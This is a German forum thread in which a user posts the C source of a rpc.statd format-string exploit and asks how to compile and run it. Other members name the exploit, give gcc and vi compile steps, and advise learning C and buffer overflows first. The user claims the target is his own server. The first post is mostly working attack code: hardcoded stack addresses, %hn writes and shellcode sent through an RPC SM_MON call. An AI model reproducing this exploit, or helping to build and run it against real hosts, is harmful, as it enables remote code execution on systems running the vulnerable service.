| Virenschutz · Tools & Aggressive Software Tips zum Kampf gegen gegen Viren, Trojaner, CryptoSoft und Programme, die erstellt wurden um Schaden anzurichten, werden hier behandelt. Aber auch Tools aus dem Security Bereich sind hier richtig. |
Diskussion: exploit im Forum Virenschutz · Tools & Aggressive Software, in der Kategorie Security Area; Anzeige Wie bekomme ich son exploit überhaupt zum laufen kennt da jemand so ein paar tuts wie man son teil ...
![]() |
| | #1 (permalink) |
| Guest Likes: | Anzeige Wie bekomme ich son exploit überhaupt zum laufen kennt da jemand so ein paar tuts wie man son teil kompelieren kann ??? hier ist der source den ich kompelieren will: #include <sys/types.h> #include <sys/time.h> #include <stdio.h> #include <string.h> #include <netdb.h> #include <rpc/rpc.h> #include <rpcsvc/sm_inter.h> #include <sys/socket.h> void usage(char *s) { printf("Usage: %s host [-nopoke]\n", s); exit(0); } extern char shell[]; main(int argc, char *argv[]) { CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mon monreq; struct sm_stat_res monres; struct hostent *hp; struct sockaddr_in target; int sd, i, noplen=strlen(nop), nopoke=0; char *ptr=code, *p2, code[4096]; if (argc < 2) usage(argv[0]); if (argc > 2) nopoke = 1; /* Alignment */ strcpy(ptr, "AAA"); ptr += strlen(ptr); /* Target to write to! */ *(unsigned long *)(ptr) = 0x7fffeb04; ptr += sizeof(unsigned long); /* pad */ *(unsigned long *)(ptr) = 0x11111111; ptr += sizeof(unsigned long); /* Target Two (two higher in memory probably) */ *(unsigned long *)(ptr) = 0x7fffeb06; ptr += sizeof(unsigned long); for(i = 0; i < 46-1; i++) { strcpy(ptr, "%12d"); ptr += strlen(ptr); } if(!nopoke) { /* Value to write - amount written */ /* Guess a bit - remember to leave a lot of padding, and be lucky on alignment */ /* Don't correct for IP address! Forced to localhost by stat code - same length. */ #define HIGH 0x7fff #define LOW 0xeecc sprintf(ptr, "%%%dd%%hn", HIGH - 12*45 - strlen("STAT_FAIL to 127.0.0.1 for SM_MON of AAABBBB1111CCCC")); ptr += strlen(ptr); sprintf(ptr, "%%%dd%%hn", (LOW - HIGH) % 65536); ptr += strlen(ptr); /* CODE */ p2 = shell; while(*p2) *(ptr++) = *(p2++); } *(ptr++) = 0; memset(&monreq, 0, sizeof(monreq)); monreq.mon_id.my_id.my_name="localhost"; monreq.mon_id.my_id.my_prog=0; monreq.mon_id.my_id.my_vers=0; monreq.mon_id.my_id.my_proc=0; monreq.mon_id.mon_name= code /*code*/; if ((hp=gethostbyname(argv[1])) == NULL) { printf("Can't resolve %s\n", argv[1]); exit(0); } target.sin_family=AF_INET; target.sin_addr.s_addr=*(u_long *)hp->h_addr; target.sin_port=0; /* ask portmap */ sd=RPC_ANYSOCK; tm.tv_sec=10; tm.tv_usec=0; if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) { clnt_pcreateerror("clnt_create"); exit(0); } stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res, (char *)&monres, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); else printf("stat_res = %d.\n", monres.res_stat); clnt_destroy(cl); } |
|
| | #2 (permalink) |
| Registriert seit: 14.01.04 ![]() Likes: 0 | hmm, wozu willst du das denn machen? Wenn dus schon nicht hinbekommst zu kompilieren, dann solltest du soetwas auch nicht benutzen. Solcher Code ist immer kompilier bereit, nur du musst die Voraussetzungen heranschaffen, die es benötigt. <- hint |
| | |
| HaBOT | - Anzeige - |
| |
| | #3 (permalink) | ||
| Guest Likes: | Also das ist erstmal ein "rpc.statd - format sting Exploit", den man laut den includierten Header-Dateien unter Linux kompilen sollte. Aber ich bezweifele mal, das Du Exploit so einfach zum Laufen bekommst, da hier so ein paar komische Sachen drin sind, wie: Code: /* CODE */ p2 = shell; Zitat:
Zitat:
MfG Rushjo | ||
|
| | #4 (permalink) |
| Guest Likes: | Nö is doch nicht ilegal wenn das mein eigener server ist und welches buch kannst du mir den da emfehlen kennst du noch ein paar seiten wo man das auch erklert bekommt danke für deine mühe |
|
| | #5 (permalink) |
| Registriert seit: 30.09.03 ![]() Likes: 0 | gcc -o exploitname exploitsouce.c Das führt den GNU-C-Compiler aus und lässt ihn die C-Sourcedatei exploitsource.c in die Executable exploitname kompilliern. Da in dem Source meist (absichtlich) Fehler enthalten sind bekommst du nicht gleich eine Executable sondern erstmal die Error-Meldungen und Warnings des Compilers. vi exploitsource.c Öffnet den Exploitsourcecode mit VI VIM oder ELVIS *ist ein editor*hachja Technik ist was tolles. Nach dem Editieren versuchst du wieder den Source zu kompillieren. gcc -o exploitname exploitsource.c Das machst du solange bis du alle fehler gefunden hast... naja dann musst du nur noch rausbekommen wie das alles genau funzt und wie man es bentutz *steht ja meist mit dabei* und dann kannst du es an DEINEM server in DEINEM Netz testen... enjoy. PS:C/C++ Kenntnisse sind mehr als empfehlenswert! Erstmal hilft es dir wesentlich dabei weiter die Fehler zu finden (ich kenne kaum sploits die ohne Fehler sind... das hält die ScriptKiddies fern) und zweitens ist es um einiges befriedigender wenigstens so ungefähr zu wissen was da eigentlich vor sich geht. ;-D PPS:Das Sploit musst du unter Linux,Unix oder Cygwin compilen ... nicht dass du dich wunderst warum dein VC dauernd fehlende Header meldet. ==) |
| | |
| | #6 (permalink) |
| Guest Likes: | Jo danke für deine hilfe doch macht man dies mit den befehlen nicht unter linux so den ich habe windoof |
|
| | #7 (permalink) |
| Registriert seit: 28.02.04 ![]() Likes: 0 | ich muss meist noch chmod u+x machen bevor ich das teil ausführen kann. |
| | |
| | #8 (permalink) |
| Registriert seit: 28.05.04 ![]() Likes: 0 | @ Eckbert: OmegA schreibt, er hat Windows.... was soll er da mit chmod?! |
| | |
| | #9 (permalink) | |
| Member of Honour ![]() Registriert seit: 11.09.03 ![]() Likes: 2 | Zitat:
| |
| | |
| | #10 (permalink) | ||
| Träger des silbernen Seepferdchens ![]() Registriert seit: 24.04.02 ![]() Likes: 9 | Zitat:
__________________ Diese Zeile ist reserviert für Clark Kent. | ||
| | |
| | #11 (permalink) |
| die 10 euro sind dir doch schon sicher glaub da wettet keiner hier dagegen | |
| | |
| | #12 (permalink) |
| Registriert seit: 28.02.04 ![]() Likes: 0 | Mein Post war als Ergänzung zu eftex Post gedacht. |
| | |
| | #13 (permalink) |
| Guest Likes: | mmm Also soll ich jetzt von allem die finger lassen wenn ichs nicht auf anhib kapiere??? naja werde mich trotzdem weiterhin damit beschäftigen und ich habe mir gerade Linux Red Hat besorgt |
|
| | #14 (permalink) |
| Guest Likes: | @OmegA Nein, wir haben nicht gesagt, dass Du Dich nicht mitbeschäftigen sollst, sondern das Du Dich erstmal belesen solltest über die Grundlagen, bevor Du wie ein "Script Kiddie" irgendwelche Exploits compilen willst. Empfehlenswert wären Grundlagen in C/C++. Linux System Architektur und eine generelles Verständnis zu BufferOverflows etc. MfG Rushjo |
|
![]() |
| - Anzeige - | |
| |
| Themen-Optionen | |
| Ansicht | |
| |
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| Exploit? | ozeo | (In)security allgemein | 5 | 30.04.08 13:37 |
| Exploit Aim | devnull | (In)security allgemein | 5 | 27.10.05 18:20 |
| Exploit | dbz42 | Code Kitchen | 0 | 07.06.04 18:13 |
| WKS Exploit | gangstasta | Code Kitchen | 3 | 09.03.04 19:08 |